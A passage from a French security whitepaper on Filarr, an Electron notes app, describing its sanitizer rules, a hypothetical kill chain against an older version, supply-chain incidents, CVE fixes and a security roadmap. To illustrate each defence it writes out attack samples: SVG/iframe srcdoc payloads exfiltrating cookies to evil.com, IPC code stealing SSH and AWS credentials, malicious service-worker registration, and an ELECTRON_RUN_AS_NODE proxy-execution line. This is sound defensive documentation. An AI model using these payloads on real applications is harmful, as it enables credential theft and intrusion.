ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|...)/i,
});
Pourquoi interdire <svg> alors que SVG semble a priori inoffensif comme format d'image ? Parce que SVG est un cheval de Troie classique pour contourner les sanitizers naïfs. La balise <foreignObject> à l'intérieur d'un SVG permet d'embarquer du HTML arbitraire, y compris des <iframe> avec attribut srcdoc, des <script>, ou des gestionnaires d'événements comme onclick. Un sanitizer qui bloquerait <iframe> mais autoriserait <svg> laisserait passer :
<svg>
<foreignObject>
<iframe srcdoc="<script>fetch('/api/exfil?cookie='+document.cookie)</script>">
</iframe>
</foreignObject>
</svg>
Historiquement, DOMPurify lui-même a eu plusieurs CVEs autour de SVG et MathML (la version MathML 3.0 est pleine de surprises similaires). La version 3.4.0 corrige tous les contournements connus, mais la blocklist défensive en complément reste une ceinture et bretelles : si un nouveau contournement est découvert demain dans une version 3.5, notre blocklist bloque toujours le vecteur.
Les attributs interdits srcdoc, formaction et ping sont tous des vecteurs d'attaque moins connus mais bien réels. srcdoc permet d'exécuter du HTML inline dans un iframe, ce qui contourne les restrictions CSP qui visent l'attribut src. formaction permet à un bouton de formulaire de rediriger la soumission vers une URL différente de celle spécifiée par le <form>, ce qui permet à un attaquant d'exfiltrer des données via un formulaire innocent. ping permet à un lien <a> d'envoyer un POST silencieux à une URL arbitraire quand l'utilisateur clique — une fonctionnalité destinée au tracking analytics mais qui peut servir à exfiltrer des données. Bloquer ces trois attributs coûte zéro fonctionnalité légitime dans le contexte de Filarr.
Au-delà de DOMPurify, Filarr applique des validations spécifiques à certains types de contenu. Les wiki-links [[Note]] importés depuis un vault Obsidian sont validés comme pointant uniquement vers des titres de notes existants, jamais interprétés comme des URLs. Un attaquant qui glisserait [[javascript:alert(1)]] dans un vault partagé verrait son lien rendu comme du texte brut (parce qu'aucune note ne s'appelle javascript:alert(1)) plutôt que comme un lien cliquable avec le schème javascript:. Les diagrammes Mermaid sont rendus avec l'option securityLevel: 'strict', qui désactive l'exécution de HTML dans les labels, les click handlers, et les scripts inline générés par le parser — trois vecteurs qui ont tous eu des CVEs historiques dans Mermaid.
11. Anatomie d'une kill chain
Pour comprendre comment les défenses s'enchaînent, rien ne vaut un cas concret. Voici ce qu'un attaquant déterminé pouvait faire contre Filarr v2.2.0, et ce qui bloque chaque étape dans la version actuelle v2.3.1. Le scénario est inspiré d'attaques réelles contre d'autres apps Electron et représente un modèle plausible de supply chain + XSS.
11.1 Le scénario
Un attaquant publie un « plugin Obsidian » populaire baptisé Awesome Tag Cloud v2 sur une communauté d'échange de vaults Obsidian. Le plugin semble légitime : il génère de jolis nuages de tags. Mais son fichier README.md contient une balise HTML crafted par l'attaquant, conçue pour déclencher une cascade d'exploitation quand le vault est importé dans Filarr via le wizard d'import.
L'utilisateur cible télécharge ce vault piégé, l'ouvre dans Filarr, et lance le wizard d'import Obsidian → Filarr. Au moment où la note README est rendue dans l'éditeur, le payload s'active.
11.2 Phase 1 — Initial Access (T1189)
Dans la version antérieure à v2.2.1, la configuration DOMPurify n'incluait pas svg ni foreignObject dans la blocklist. Le payload de l'attaquant pouvait donc injecter un bloc :
<svg><foreignObject>
<iframe srcdoc="<script>fetch('https://evil.com/beacon?u='+encodeURIComponent(document.cookie))</script>"></iframe>
</foreignObject></svg>
DOMPurify le laissait passer (parce que <svg> était autorisé), l'iframe se chargeait, son srcdoc exécutait le script, et la phase 1 était réussie : l'attaquant avait du JavaScript qui tourne dans le contexte du renderer Filarr.
Dans la version v2.2.1 et suivantes, FORBID_TAGS inclut svg, foreignObject, iframe, et srcdoc est dans FORBID_ATTR. DOMPurify supprime entièrement le bloc avant insertion dans le DOM. Le payload n'a plus de vecteur d'injection HTML. La phase 1 échoue.
11.3 Phase 2 — Privilege Escalation via IPC (T1068)
Supposons que la phase 1 ait réussi malgré tout, via une future 0-day non découverte dans DOMPurify qui passerait tous les filtres. L'attaquant a maintenant du JavaScript dans le renderer. Son objectif : exfiltrer votre clé SSH privée pour l'utiliser à partir de là.
Dans la version antérieure à v2.2.1, l'attaquant écrivait simplement :
const sshKey = await window.electron.ipcRenderer.invoke(
'import:readFile',
'C:\\Users\\Victim\\.ssh\\id_ed25519'
);
const awsCreds = await window.electron.ipcRenderer.invoke(
'import:readDirectory',
'C:\\Users\\Victim\\.aws'
);
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ sshKey, awsCreds })
});
Le main process exécutait l'IPC sans aucune validation du chemin. La clé SSH partait, les credentials AWS partaient, les .env de tous les projets ouvrables partaient, l'historique .git/config contenant potentiellement des tokens GitHub partait. Le tout sans un seul prompt UAC, sans notification visible pour l'utilisateur, sans log d'alerte — parce que le handler IPC traitait l'opération comme parfaitement légitime.
Dans la version v2.2.1, le handler import:readFile vérifie désormais que le chemin demandé fait partie de approvedImportPaths, un Set qui n'est peuplé que par les dialogs natifs showOpenDialog. L'attaquant, dans le renderer, n'a aucun moyen de déclencher un dialog natif — il n'y a pas d'IPC exposé dialog:open qui s'ouvrirait sans UI utilisateur. Sa tentative de lire id_ed25519 retourne null, et un warning est loggé côté main : [import:readFile] Refused unapproved path: C:\Users\Victim\.ssh\id_ed25519. La phase 2 échoue.
11.4 Phase 3 — Persistence (T1546)
Un attaquant sophistiqué ne se contente pas d'une exfiltration one-shot ; il veut survivre à une mise à jour de sécurité qui patcherait la vulnérabilité initiale. Le Service Worker est pour ça un outil idéal : une fois enregistré, il intercepte toutes les requêtes fetch() de l'app et peut injecter son code à chaque chargement de page, même après que l'utilisateur a reçu et installé un patch.
Dans la version antérieure à v2.2.1, Filarr héritait d'un serviceWorkerRegistration.register() du template create-react-app. Un attaquant pouvait enregistrer son propre SW malveillant :
await navigator.serviceWorker.register('/stolen-sw.js');
Et à partir de là, le SW persisterait entre les sessions, survivrait aux mises à jour (parce que le SW est stocké dans le profil Chromium d'Electron, pas dans app.asar), et réinjecterait son payload à chaque chargement. Neutraliser ce genre de persistence nécessiterait que l'utilisateur désinstalle complètement l'app et supprime manuellement son profil — une opération que peu d'utilisateurs savent faire.
La version v2.2.1 corrige ça de façon radicale : src/index.js appelle explicitement serviceWorkerRegistration.unregister() au démarrage, et purge tous les Cache Storage avec caches.keys().then(keys => Promise.all(keys.map(k => caches.delete(k)))). Si un SW hérité d'une v2.1.x était présent, il est désenregistré au premier lancement en v2.2.1+. L'attaquant ne peut plus établir de persistence via cette voie.
11.5 Phase 4 — Command & Control
Un attaquant qui a établi la persistence veut ensuite maintenir un canal de communication avec son infrastructure C2 (command and control). Une approche subtile consiste à déguiser les requêtes en ouvertures de liens externes, qui semblent légitimes — un utilisateur qui clique sur un lien dans une note s'attend à ce que le navigateur s'ouvre.
Dans la version antérieure à v2.2.1, l'IPC open-external était gardé par un simple startsWith('https://'). L'attaquant pouvait donc construire une URL du type https://filarr.com#javascript:window.open('https://evil.com/c2') qui passait le check mais dont le fragment était interprété différemment par certaines apps natives associées au schème, ouvrant potentiellement une surface d'attaque.
La version v2.2.1 utilise new URL(url) strict qui parse l'URL complète et rejette tout protocole autre que http: / https:, ainsi que les caractères de contrôle ASCII et les URLs excessivement longues (plus de 8 Ko, seuil au-delà duquel la plupart des parsers OS ont des bugs exploitables). La même validation est appliquée aux URLs retournées par le backend pour les checkouts Stripe, en defense-in-depth contre un backend compromis qui essaierait de pusher une URL javascript:.
11.6 Phase 5 — Abus des privilèges natifs
Dernier scénario, supposons un attaquant qui a déjà accès local user-level à la machine (sans XSS), peut-être via un trojan téléchargé ailleurs. Il veut utiliser le binaire Filarr signé comme proxy pour exécuter son code et échapper aux détections heuristiques.
ELECTRON_RUN_AS_NODE=1 "C:\Program Files\Filarr\Filarr.exe" ./payload.js
Avant la v2.2.2, les fuses n'étaient pas tous appliqués (et avant, pas du tout). Cette ligne de commande transformerait Filarr en runtime Node.js et exécuterait payload.js avec les privilèges de l'utilisateur. Du point de vue du système (et des EDR), c'est Filarr qui fait une opération réseau, pas un exécutable suspect — le code est donc moins susceptible d'être bloqué.
Dans la version v2.2.2+, le fuse RunAsNode: false est flippé dans le binaire. La variable d'environnement ELECTRON_RUN_AS_NODE est purement ignorée. Même chose pour NODE_OPTIONS, --inspect, --inspect-brk. L'attaquant ne peut plus détourner le binaire comme proxy.
11.7 Le résultat global
Pour compromettre un utilisateur sous Filarr v2.3.1 par le scénario décrit, l'attaquant aurait besoin simultanément de : une 0-day dans DOMPurify 3.4+ (aucune publique en 2026) pour injecter du JS, une 0-day dans Electron 41 (patches à jour) pour escape le sandbox Chromium, une faille dans un handler IPC spécifique (chaque handler validé par audit), et une méthode de persistence qui ne passe ni par SW ni par env var ni par ASAR patch. C'est une chaîne à cinq maillons, chaque maillon nécessitant une vulnérabilité 0-day indépendante. C'est précisément l'objectif de la défense en profondeur : empiler assez de couches indépendantes pour qu'aucune rupture isolée ne compromette l'ensemble.
12. Supply chain
Les attaques supply chain npm sont devenues la norme ces dernières années. Il est instructif de parcourir les principaux incidents pour comprendre la forme que prennent ces attaques en pratique et ce que Filarr fait pour réduire son exposition.
L'incident event-stream de 2018 est emblématique. Le mainteneur historique du package, Dominic Tarr, a accepté d'ajouter un contributeur qui avait proposé d'aider à la maintenance. Ce contributeur a fini par devenir le mainteneur principal après que Tarr se soit désengagé, et il a alors publié une version qui incluait un code malveillant ciblant spécifiquement le wallet copay-dash utilisé par Copay, une application de portefeuille Bitcoin. Le malware volait les private keys et le solde des wallets qui l'utilisaient. Le package event-stream avait environ 2 millions de téléchargements par semaine à l'époque — pratiquement tout projet Node.js l'utilisait transitivement. Le post-mortem de Dominic Tarr est une lecture édifiante sur les dynamiques de maintenance open source et les risques de l'hospitalité par défaut.
L'incident ua-parser-js de 2021 était plus direct : le compte npm du mainteneur a été compromis via credential stuffing (réutilisation de mot de passe d'une autre fuite), et trois versions malicieuses ont été publiées en quelques heures. Elles contenaient un XMRig crypto miner et un credential stealer qui ciblait les variables d'environnement contenant des tokens. Le package avait 7 millions de téléchargements par semaine. La récupération a pris plusieurs jours de coordination entre GitHub, npm, et le mainteneur qui a dû reprendre le contrôle de son compte et publier des versions propres. L'advisory détaille la timeline.
L'incident node-ipc de 2022 a introduit un nouveau concept : le « protestware ». Le mainteneur, RIAEvangelist, a volontairement ajouté dans une mise à jour du code qui écrasait les fichiers sur les machines dont l'IP était géolocalisée en Russie ou en Biélorussie, en protestation contre l'invasion de l'Ukraine. Le package était utilisé par Vue.js et d'autres projets majeurs. Au-delà du débat éthique sur la légitimité de l'acte, l'incident a rappelé que tout mainteneur malveillant a la capacité technique d'introduire n'importe quel code dans n'importe quelle dépendance, et que la communauté open source n'a pas de mécanisme systémique pour prévenir ça. Post-mortem Snyk détaillé.
Et en 2022 toujours, colors.js et faker.js : le mainteneur Marak Squires a publié des versions qui imprimaient « LIBERTY LIBERTY LIBERTY » en boucle infinie, en protestation contre le fait de maintenir un projet open source non rémunéré utilisé par des multinationales. Ce n'était pas exactement du malware mais un déni de service auto-infligé — et ça a cassé des milliers d'applications en production pendant plusieurs heures. Article BleepingComputer.
Face à cette réalité, Filarr adopte plusieurs stratégies de réduction de risque sans pouvoir prétendre à l'immunité. La première est l'audit trimestriel via npm audit --audit-level=high, bloquant automatiquement en CI si une vulnérabilité high ou critical apparaît. Cette discipline a mené aux upgrades majeurs documentés dans le changelog : jspdf (XSS critique), axios (SSRF + DoS), dompurify (bypass sanitizer), electron (18 CVEs).
La deuxième stratégie est la CSP stricte qui limite ce qu'une dépendance compromise peut faire à runtime. Même si un package comme @tiptap/extension-foo publiait demain une version qui tenterait de charger du code depuis evil.com, script-src 'self' + cdnjs bloquerait la requête. Ce n'est pas une protection contre le code injecté statiquement (qui fait partie du bundle), mais c'est une ligne de défense contre les payloads qui tentent une exfiltration réseau.
La troisième est la validation d'intégrité du binaire via les fuses Electron. EnableEmbeddedAsarIntegrityValidation: true détecte toute modification d'app.asar après signature. Un attaquant qui réussirait à patcher le binaire sur disque (soit via une vulnérabilité locale, soit via une dépendance qui écrit dans le répertoire d'installation) échoue au prochain lancement. OnlyLoadAppFromAsar: true refuse également de charger depuis un dossier app/ à côté du binaire — un vecteur classique de persistence où le malware drop un dossier avec un code modifié qui aurait priorité sur l'ASAR.
La quatrième stratégie est simplement le scope limité des dépendances : on évite les packages qui ont des milliers de transitives. Quand on ajoute une nouvelle dépendance, je lis le code (au moins son entry point et le top du main file) avant de l'intégrer. C'est une mesure artisanale qui ne scale pas mais qui fait une différence à petite échelle.
La limite honnête, qu'il faut reconnaître, c'est qu'aucune de ces défenses ne protège totalement contre une dépendance transitive compromise avec une charge utile qui s'exécute dans le renderer. Si @tiptap/extension-foo était compromis demain et injectait du JS au runtime, la CSP bloquerait la communication externe mais pas l'exécution locale ni l'usage des IPC exposés (qui sont eux-mêmes validés, mais un payload inventif pourrait combiner plusieurs handlers pour atteindre son objectif). La réponse robuste à terme nécessite des builds reproductibles (dont la sortie déterministe permet à quiconque de vérifier que le binaire final correspond au code source publié), des audits réguliers et profonds, et un scope renderer minimal. C'est sur la feuille de route pour les versions à venir.
13. Historique des CVEs
Au 18 avril 2026, en version 2.3.1, l'état de la surface d'attaque est le suivant : zéro vulnérabilité critique détectée par npm audit, zéro vulnérabilité high dans les dépendances runtime directes, et 47 vulnérabilités transitives toutes confinées à react-scripts. Ce dernier point mérite une précision : react-scripts est la boîte à outils de build de Create React App (webpack, babel-loader, jest, postcss, etc.) qui n'est utilisée qu'au moment du build du renderer. Les vulnérabilités qu'elle traîne (principalement des versions anciennes de webpack-dev-server et de svgo) n'affectent donc pas le runtime de l'application packagée — elles sont dans la chaîne de build développeur. On les surveille, on les documente, mais on ne les considère pas comme des risques production.
Le cleanup récent de la surface d'attaque s'est fait en quatre étapes majeures documentées ici avec les références GHSA quand applicable :
| Version | Upgrade | CVE majeur corrigé |
|---|---|---|
| v2.2.0 | jspdf 4.2.0 → 4.2.1 | GHSA-wfv2-pwc8-crg5 — XSS critique CVSS 9.6 (New Window HTML injection) |
| v2.2.0 | axios 1.7.7 → 1.15.0 | DoS via __proto__ dans mergeConfig (GHSA-wf5p-g6vw-rhxx), SSRF via NO_PROXY, exfiltration cloud metadata via header injection |
| v2.2.0 | dompurify 3.3.1 → 3.4.0 | 5 bypass du sanitizer (mutation-XSS, ADD_ATTR/ADD_TAGS bypass de FORBID_TAGS, pollution de prototype via USE_PROFILES, bypass URI) |
| v2.3.0 | electron 39 → 41 | 18 CVEs Electron — context isolation bypass via contextBridge VideoFrame, use-after-free multiples dans offscreen paint / download dialog / PowerMonitor, path injection setAsDefaultProtocolClient (Windows), USB device spoofing, renderer command-line switch injection, unquoted executable path dans setLoginItemSettings (Windows), header injection dans custom protocol handlers, et plus |
| v2.3.0 | electron-builder 24 → 26 | Alignement requis par Electron 41 |
À ces upgrades de dépendances s'ajoutent les 8 patches internes de la v2.2.1 documentés ailleurs : path traversal IPC, ZIP bomb, UUIDs Math.random, service worker désactivé, timing attack sur comparaison de hash, URL protocol check strict, DOMPurify FORBID_TAGS élargi, safeStorage fail-closed. Chacun de ces patches a été identifié pendant l'audit complet post-v2.2.0 et corrigé dans la semaine qui a suivi.
14. Comparaison avec d'autres outils
Pour situer Filarr par rapport aux outils auxquels il pourrait être comparé dans l'écosystème de la productivité chiffrée, voici un tableau synthétique des choix cryptographiques et architecturaux de chacun :
| Aspect | Filarr | Signal | 1Password | Bitwarden | Obsidian | Notion |
|---|---|---|---|---|---|---|
| Zero-knowledge storage | ✅ | ✅ | ✅ | ✅ | N/A (local only) | ❌ (serveurs lisent tout) |
| Chiffrement des fichiers | AES-256-GCM | AES-256-CTR + HMAC-SHA256 | AES-256-GCM | AES-256-CBC + HMAC-SHA256 | ❌ (plain) | ❌ (plain côté serveur) |
| KDF | Argon2id + PBKDF2-SHA-512 (hybride) | N/A (pas de password) | PBKDF2-SHA-256 + Secret Key | PBKDF2 → Argon2id (progressive) | N/A | Bcrypt côté serveur |
| Multi-device | ECDH + HKDF | Double Ratchet | 1Password Secret Key sync | Password + device key | Sync third-party (iCloud, Obsidian Sync payant) | Cloud sync natif (non-E2E) |
| Local-first | ✅ | ❌ (serveurs pour push) | ❌ (vault chiffré sur serveur) | Partiel | ✅ | ❌ |
| Open source | Partiellement (app Electron) | ✅ (server + clients) | ❌ | ✅ | ❌ (plugin ecosystem seul) | ❌ |
| Audit externe | Prévu | Trail of Bits, NCC, academic | Cure53 (2021, 2023) | Cure53 (2020, 2022), Insight Risk | ❌ | Externe (non public) |
| Double authentification (2FA) | ✅ TOTP + 8 codes de secours | ✅ Registration Lock (PIN) | ✅ TOTP, FIDO2 | ✅ TOTP, FIDO2, YubiKey | ✅ (Obsidian Sync) | ✅ TOTP, WebAuthn |
Filarr se positionne dans un trou de marché spécifique : entre Obsidian, excellent outil local-first mais qui ne chiffre rien par défaut et dépend de plugins tiers pour le chiffrement, et Bitwarden, exemplaire en zero-knowledge mais exclusivement dédié aux passwords. Aucun autre outil ne combine zero-knowledge, local-first, et espace de travail complet (notes + fichiers + graph + canvas). Cette niche a été la raison de construire Filarr plutôt que de s'en remettre à un outil existant.
Les différences de choix techniques s'expliquent généralement par les cas d'usage différents. Signal n'a pas de mot de passe utilisateur parce que c'est une app de messagerie où l'installation locale est censée être rapide et sans friction — tout dérive du PIN + Secure Value Recovery, un protocole sophistiqué qui stocke une version chiffrée du master key côté serveur mais que seul le bon PIN permet de déchiffrer. 1Password a le Secret Key, une clé 256 bits que l'utilisateur stocke hors-serveur (typiquement sur un QR code imprimé), qui se combine au mot de passe pour doubler la sécurité. On a envisagé ce modèle pour Filarr mais l'UX dégradée (il faut manipuler un fichier additionnel à chaque nouveau device) a été jugée incompatible avec la cible grand public de l'outil — les utilisateurs qui oublient régulièrement leur mot de passe oublieraient aussi leur Secret Key, et le coût en support dépasserait le gain en sécurité pour la base d'utilisateurs visée. Bitwarden utilise AES-CBC + HMAC-SHA256, une construction authenticated encryption valide mais plus lente que GCM et historiquement plus sujette à des erreurs d'implémentation (padding oracle, MAC manquant) ; leur migration vers Argon2id est en cours. Obsidian ne chiffre rien par défaut parce que leur philosophie est la portabilité maximum des notes (Markdown plain text) ; des plugins tiers comme Meld Encrypt existent mais la sécurité dépend alors de la qualité du plugin. Notion stocke tout en clair côté serveur et leur politique de confidentialité autorise explicitement l'accès aux données par les employés pour le « support », ce qui les place dans une catégorie différente — outils collaboratifs centralisés, pas coffres personnels privés.
15. Feuille de route sécurité
Ce qu'on n'a pas encore, présenté honnêtement : un audit sécurité indépendant externe est en cours de préparation avec un cabinet ciblé (Cure53 ou Trail of Bits, selon les disponibilités et le budget). L'enveloppe estimée est de 15 000 à 30 000 euros selon le périmètre — on privilégiera une couverture large plutôt qu'une profondeur extrême sur un seul composant. Le rapport final sera rendu public intégralement, y compris les findings qu'on jugerait embarrassants, parce que la transparence est la seule façon de transformer un audit en gain de confiance utilisateur.
La signature Authenticode pour Windows nécessite un certificat EV (Extended Validation) qui coûte environ 400 euros par an et demande une vérification KYC par une CA. C'est en cours, mais on a privilégié les durcissements runtime d'abord. Sans signature EV, SmartScreen affiche un warning au premier lancement que les utilisateurs doivent cliquer à travers — c'est inélégant mais pas bloquant. La notarisation Apple pour macOS suit un chemin similaire : inscription au Developer Program faite, automatisation en CI en cours.
Les builds reproductibles exigent un environnement de build déterministe où les dates de compilation sont fixées, l'ordre des fichiers est stable, et toutes les entrées sont sous contrôle de version. C'est une étude pour la v2.4 ; l'obstacle principal est que certaines dépendances (notamment les prebuilds natifs d'argon2) embarquent des métadonnées de build qui varient.
Le chiffrement post-quantique via CRYSTALS-Kyber (standardisé en 2024 sous le nom ML-KEM par NIST FIPS 203) est sur la liste des idées pour le pairing et potentiellement pour les blobs longue durée. L'approche serait hybride — combinaison classique + post-quantique — comme Signal l'a fait avec PQXDH en 2023 et WireGuard depuis sa version 1.x. L'hybride permet de ne pas parier tout sur Kyber (qui a été cryptanalysée récemment avec des résultats partiels) tout en gagnant la résistance contre un attaquant qui stockerait le trafic aujourd'hui pour le déchiffrer demain avec un ordinateur quantique.
Un bug bounty officiel est prévu après l'audit externe — on veut d'abord payer pour les findings « faciles » (ceux qu'un audit systématique trouvera) avant d'ouvrir une bounty qui les paierait au prix public. Une fois la base propre, la bounty aura plus de sens.
Enfin, le protocole custom app:// pour remplacer file:// en production permettra de fermer définitivement le fuse GrantFileProtocolExtraPrivileges et de durcir significativement la CSP (actuellement un default-src 'self' sur du file:// a une sémantique floue ; sur un app:// custom c'est net et strict). Le chantier demande de migrer le loading de la bundle React, des fonts, des workers pdf.js, des images et des locales i18n, et de tester la chaîne de preview complète. Compter une à deux semaines de travail + tests intensifs.
Tout ça est documenté publiquement sur la feuille de route, pas caché.
16. En résumé
Si vous deviez ne retenir que cinq affirmations de cet article : vos contenus sont chiffrés en AES-256-GCM avec une clé que seul votre mot de passe peut dériver via Argon2id et PBKDF2-SHA-512 600 000 itérations, et cette clé ne quitte jamais votre machine en clair. Les serveurs de Filarr ne peuvent techniquement pas lire vos données — pas sous réquisition judiciaire, pas si leur infrastructure est compromise ; ils ne voient que des blobs opaques. Le pairing multi-appareils utilise ECDH P-256 et HKDF-SHA-256 avec un domain separator pour que la FEK soit échangée de bout en bout sans que le serveur puisse la reconstruire. Le binaire Electron est durci contre tous les abus connus : 8 fuses explicites avec strictlyRequireAllFuses, contextIsolation, sandbox Chromium, CSP stricte, whitelist IPC, DOMPurify défensif, et protection SSRF. Les dépendances sont auditées à chaque release avec un bilan au 18 avril 2026 de zéro vulnérabilité critique ou high sur le runtime, après 8 fixes internes en v2.2.1 et 18 CVEs Electron corrigées en v2.3.0.
Filarr ne prétend pas être parfait. Il prétend être explicite : chaque choix est documenté avec ses paramètres exacts, chaque compromis est énoncé, chaque CVE corrigée est datée et référencée. À vous de juger si cette architecture correspond à votre modèle de menace — si c'est le cas, vous pouvez télécharger l'app, créer votre premier profil, et chiffrer votre premier fichier en quelques minutes. Si ça ne vous convient pas, écrivez-nous à contact@filarr.com avec le préfixe [Security] dans l'objet pour nous dire ce qui manque. Réponse sous 48 heures ouvrées, et pas de poursuite contre les chercheurs de vulnérabilités agissant de bonne foi (safe harbor).
17. Références et lectures
Standards & spécifications
- NIST SP 800-38D — Recommendation for Block Cipher Modes of Operation: GCM and GMAC
- NIST SP 800-56C Rev.2 — Recommendation for Key-Derivation Methods in Key-Establishment Schemes
- RFC 5869 — HMAC-based Extract-and-Expand Key Derivation Function (HKDF)
- RFC 8446 — The Transport Layer Security (TLS) Protocol Version 1.3
- RFC 9106 — Argon2 Memory-Hard Function for Password Hashing and Proof-of-Work Applications
- FIPS 203 (ML-KEM) — Module-Lattice-based Key-Encapsulation Mechanism
OWASP
Electron & Chromium
Attaques & recherche
- Böck, Zauner, Devlin — Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS (2016) — the Forbidden Attack
- Bellare & Namprempre — Authenticated Encryption: Relations among Notions and Analysis of the Generic Composition Paradigm (2008)
- MITRE ATT&CK — Enterprise Matrix
- Password Hashing Competition — PHC
Comparables & inspirations
- Signal — Technical Documentation
- 1Password — 1Password Security Design White Paper
- Bitwarden — Security Whitepaper
- ProtonMail — Security Features
- Tresorit — Encryption Whitepaper
Mathis Belouar-Pruvot Créateur de Filarr — filarr.com Dernière révision : 18 avril 2026 (v2.3.1)